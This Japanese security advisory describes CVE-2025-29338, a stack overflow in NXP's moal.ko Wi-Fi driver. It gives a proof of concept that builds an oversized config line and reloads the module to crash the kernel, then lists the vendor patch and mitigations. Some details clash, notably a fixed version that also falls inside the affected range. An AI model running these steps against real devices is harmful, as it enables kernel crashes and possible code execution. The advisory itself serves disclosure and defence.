CVE-2025-29338 — セキュリティ勧告

NXP moal.ko Wi-Fiカーネルドライバのバッファオーバーフロー（woal_setup_module_param / parse_cfg_get_line）

概要

NXP moal.ko Wi-Fiカーネルドライバ（バージョン5.1.7.10）のファームウェアビルドv17.92.1.p149.43からv17.92.1.p149.157に、スタックベースのバッファオーバーフロー脆弱性が存在します。この脆弱性は、parse_cfg_get_line（mlinux/moal_init.c）にあり、woal_setup_module_paramから呼び出されます。設定ファイルの行を固定サイズのスタックバッファに読み込むwhileループに宛先バッファサイズのチェックが欠如しており、任意の長さの行がバッファをオーバーフローさせ、スタックを破損し、カーネルパニックを引き起こす可能性があります。NXP PSIRTがこの脆弱性を確認し、修正がリリースされました。

影響を受ける製品

脆弱性の詳細

根本原因

woal_setup_module_paramはMAX_LINE_LENバイトの固定スタックバッファを割り当て、mod_para設定ファイルを処理する各反復でそのバッファをparse_cfg_get_lineに渡します：

// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
    // process line
}

脆弱性のあるバージョンのparse_cfg_get_lineでは、whileループの条件はソース位置と行終端記号のみをチェックしており、宛先バッファに書き込まれたバイト数に対するチェックがありません：

// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
    t_u8 *src, *dest;
    static t_s32 pos;

    if (pos >= size) {
        pos = 0;
        return -1;
    }
    memset(line_pos, 0, MAX_LINE_LEN);
    src = data + pos;
    dest = line_pos;

    while (pos < size && *src != '\x0A' && *src != '\0') {
        if (*src != ' ' && *src != '\t')
            *dest++ = *src++;   // unchecked write — no dest bounds check
        else
            src++;
        pos++;
    }
    pos++;
    *dest = '\0';
    return strlen(line_pos);
}

MAX_LINE_LENバイトより長い設定ファイルの行は、destが呼び出し元のスタックバッファの末尾を超えて進み、保存されたフレームポインタやリターンアドレスを含む隣接スタックメモリを上書きします。

攻撃ベクトル

このドライバはシステム起動時にinsmodでロードされ、mod_paraパラメータで設定ファイルを指定します。細工された設定ファイルを作成し、カーネルモジュールをリロードできる攻撃者は、オーバーフローを引き起こすことができます。

影響

CVSS v3.1 内訳

基本スコア: 7.8 (High) CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

概念実証

防御および研究目的のみに提供されます。

ステップ1 — 既存のモジュールをアンロード

#!/bin/sh
rmmod moal
rmmod mlan

ステップ2 — 悪意のある設定ファイルを作成

スタックバッファはAで埋められ、その後にスタックカナリアスロット用の8バイト（B）、保存されたrbp用の8バイト（C）、リターンアドレスを上書きするための8バイト（D）が続きます：

python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin

ステップ3 — 細工された設定でモジュールをロード

mod_paraパスは、カーネルがファームウェアを検索するディレクトリ（通常は/lib/firmware/）からの相対パスである必要があります。それに応じてパスを構築します：

#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin

insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
    mod_para=$PAYLOAD_PATH \
    drvdbg=0x7

ステップ4 — 観測された結果

モジュール初期化中に即座にカーネルパニックが発生します。カーネルログにより、リターンアドレスが0x4444444444444444（ASCII DDDDDDDD）で上書きされていることが確認され、命令ポインタが完全に制御されていることを示しています：

[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
         woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444   <-- controlled return address

ベンダーパッチ

NXP PSIRTは脆弱性を確認し、mlinux/moal_init.cに以下のパッチを提供しました。この修正は、parse_cfg_get_lineループ内に境界チェックを追加し、MAX_LINE_LENを超える前にループを抜けるようにします：

--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
              else
                      src++;
              pos++;
+              if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+                      PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+                      break;
+              }
       }
       /* parse new line */
       pos++;

緩和策

上記のパッチを含むv17.92.1.p149.157以降のファームウェアバージョンに更新してください。追加の強化策として：

1. モジュールロードの制限 — CAP_SYS_MODULEを信頼された管理者に限定し、SELinux、AppArmor、またはseccompを介してinit_module / finit_moduleシステムコールを制限します。
2. 設定ファイルパスの保護 — mod_paraが参照するパスとそのファイルがrootのみ書き込み可能であることを確認します。

参考文献

• NXP mwifiex ドライバ (GPL): https://github.com/nxp-imx/mwifiex
• NXP リリースノート: https://www.nxp.com/docs/en/release-note/RN00104.pdf

ベンダーステータス

NXP PSIRTは脆弱性を確認しました。修正は正式なソフトウェアアップデートの一部としてリリースされています。

クレジット

発見者: Mahmoud Jadaan — diconium auto GmbH

この勧告は、CVEプログラムに従って最低限のCVE開示要件を満たすための公開リファレンスとして公開されています。